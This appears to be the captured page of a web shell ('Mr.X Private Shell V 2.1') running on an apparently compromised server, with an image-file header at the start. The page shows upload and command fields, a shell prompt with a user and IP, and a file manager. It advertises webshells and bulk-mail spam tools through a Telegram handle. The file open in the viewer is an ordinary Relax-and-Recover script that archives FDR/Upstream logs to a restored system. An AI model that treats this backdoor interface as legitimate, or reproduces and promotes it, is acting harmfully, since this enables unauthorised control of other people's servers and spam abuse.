����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# upstream.log and upstream.rpt on the ReaR system contain valuable 
# information about the disaster recovery, so we archive *.log and *.rpt
# to the restored system.

PREFIX="rear_$( date +%F_%T_%N )"
SERVICENAME=( $(ps -ef | grep uscmd1 | grep servicename | grep -Po 'servicename=\K[^"]+') )
REARLOGPATH="$FDRUPSTREAM_DATA_PATH/rear/logs"

# If SERVICENAME is empty, then FDR/Upstream is not running and we won't 
# be able to find the log files.
if [[ ! "${SERVICENAME[*]}" ]]; then 
	echo
	LogPrintError "***************"
	LogPrintError "***************"
	LogPrintError "No FDR/Upstream services were detected.  Unable to automatically copy logs and reports to the recovered system."
	LogPrintError "Before rebooting, copy any necessary logs and reports from $FDRUPSTREAM_DATA_PATH into the $TARGET_FS_ROOT file tree."
	LogPrintError "***************"
	LogPrintError "***************"
	echo
	Error exit 1
fi


if [[ ! -d $TARGET_FS_ROOT/$REARLOGPATH ]]; then
	mkdir -p $TARGET_FS_ROOT/$REARLOGPATH
fi

echo

countmax=100
count=0
# We need to identify all the running FDR/Upstream services, so we
# can put their logs in the correct directory on the rescued system.
for dir in "${SERVICENAME[@]}"; do
	count=$count+1
	LIVELOGPATH="$FDRUPSTREAM_DATA_PATH/$dir/logs"
	for file in $LIVELOGPATH/*.log $LIVELOGPATH/*.rpt; do
	    LogPrint "Archiving "$( basename "$file" )" to the restored system as:"
	    LogPrint "  $REARLOGPATH/$PREFIX.$( basename "$file" )"
	    cp "$file" "$TARGET_FS_ROOT/$REARLOGPATH/$PREFIX.$( basename "$file" )"
	    LogPrintIfError "Error archiving $file.  Before rebooting, be sure to copy logs and/or reports from $FDRUPSTREAM_DATA_PATH into the $TARGET_FS_ROOT file tree."
	    echo
	done
	# Normally there is only a single FDR/Upstream service, but sometimes
	# users have reason to run two or more services.  If service detection
	# goes wrong, we risk having an infinite loop.  To avoid that we break
	# out of the loop if we detect too many services, using the $countmax
	# variable.
	if (( $count >= $countmax )); then
		echo
		LogPrintError "***************"
		LogPrintError "***************"
		LogPrintError "Number of detected FDR/Upstream services has reached $countmax, which is not normal.  Before rebooting, copy any necessary logs and reports from $FDRUPSTREAM_DATA_PATH into the $TARGET_FS_ROOT file tree."
		LogPrintError "***************"
		LogPrintError "***************"
		echo
		break
	fi
done

Filemanager

Name Type Size Permission Actions
200_start_fdrupstream.sh File 176 B 0644
250_wait_for_restore.sh File 453 B 0644
260_copy_log_and_report.sh File 2.39 KB 0644
270_selinux_considerations.sh File 1.93 KB 0644